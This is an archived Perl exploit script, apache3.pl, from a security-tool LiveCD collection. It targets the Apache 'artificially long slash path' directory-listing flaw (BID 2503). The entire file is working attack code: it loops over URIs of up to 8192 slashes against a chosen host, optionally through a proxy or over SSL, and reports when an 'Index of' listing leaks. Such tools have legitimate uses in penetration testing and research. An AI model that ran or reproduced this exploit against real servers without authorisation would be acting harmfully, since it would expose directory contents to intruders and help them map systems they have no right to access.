home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / apache / apache3.pl < prev    next >
Perl Script  |  2005-02-12  |  2KB  |  89 lines

  1. #!/usr/bin/perl
  2. #
  3. # orginal by farm9, Inc. (copyright 2001)
  4. # then modified by Siberian (www.sentry-labs.com)
  5. # with more modifications by rfp (www.wiretrip.net/rfp/)
  6. #
  7. ##########################################################################
  8.  
  9. use libwhisker;
  10. use Getopt::Std;
  11.  
  12. # apache3.pl
  13. # this exploit was modified to use the libwhisker library, which gives
  14. # HTTP/1.1, proxy, and SSL support.  Plus, small other changes.
  15.  
  16. $|++;
  17. my (%hin,%hout,%args);
  18.  
  19. print "Apache Artificially Long Slash Path Directory Listing Exploit\n";
  20. print "SecurityFocus BID 2503\n\n";
  21. print "Original exploit code written by Matt Watchinski (www.farm9.com)\n";
  22. print "Rewritten and fixed by Siberian (www.sentry-labs.com)\n";
  23. print "Moved to libwhisker by rfp\n\n";
  24.  
  25. getopts("p:L:H:sP:R:h:",\%args);
  26.  
  27. if($args{h} eq ''){
  28.  print 'Usage: ./apache3.pl <options>, where options:',"\n";
  29.  print '-h host  host to scan (must be specified)',"\n";
  30.  print '-p ##     host port (default: 80)',"\n";
  31.  print '-L ##     low end/start of range (default: 1)',"\n";
  32.  print '-H ##     high end/end of range (default: 8192)',"\n";
  33.  print '-P host     HTTP proxy via host',"\n";
  34.  print '-R ##     HTTP proxy port (default: 80)',"\n";
  35.  print '-s     use SSL (can\'t be used with proxy)',"\n";
  36.  exit 0;
  37. }
  38.  
  39. $low =  $args{L} || 1;
  40. $high = $args{H} || 8192;
  41.  
  42. &lw::http_init_request(\%hin);        # setup our request hash
  43.  
  44. $hin{'whisker'}->{'host'}= $args{h};
  45.  
  46. $hin{'whisker'}->{'port'}= $args{p} || 80;
  47.  
  48. if(defined $args{s}){
  49.      $hin{'whisker'}->{'ssl'} = 1; 
  50.  
  51.     if(defined $args{P}){
  52.         print "SSL not currently compatible with proxy\n";
  53.         exit 1; 
  54.     }
  55. }
  56.  
  57. if(defined $args{'P'}){
  58.     $hin{'whisker'}->{'proxy_host'}=$args{P};
  59.     $hin{'whisker'}->{'proxy_port'}=$args{R} || 80;
  60.     print "Using proxy host $hin{'whisker'}->{'proxy_host'} on ";
  61.     print "port $hin{'whisker'}->{'proxy_port'}\n";
  62. }
  63.  
  64.  
  65. &lw::http_fixup_request(\%hin);        # fix any HTTP requirements
  66.  
  67. for($c=$low; $c<=$high; $c++){
  68.  
  69.     $hin{'whisker'}->{'uri'} = '/' x $c;
  70.  
  71.     if(&lw::http_do_request(\%hin,\%hout)){
  72.         print "Error: $hout{'whisker'}->{'error'}\n";
  73.         exit 1;
  74.     } else {
  75.         if($hout{'whisker'}->{'http_resp'} == 200 &&
  76.             $hout{'whisker'}->{'data'}=~/index of/i){
  77.  
  78.             print "Found result using $c slashes.\n";
  79.             exit 0;
  80.         }
  81.     }
  82.  
  83.     print "."; # for status
  84. }
  85.  
  86. print "\nNot vulnerable (perhaps try a different range).\n";
  87.  
  88.  
  89.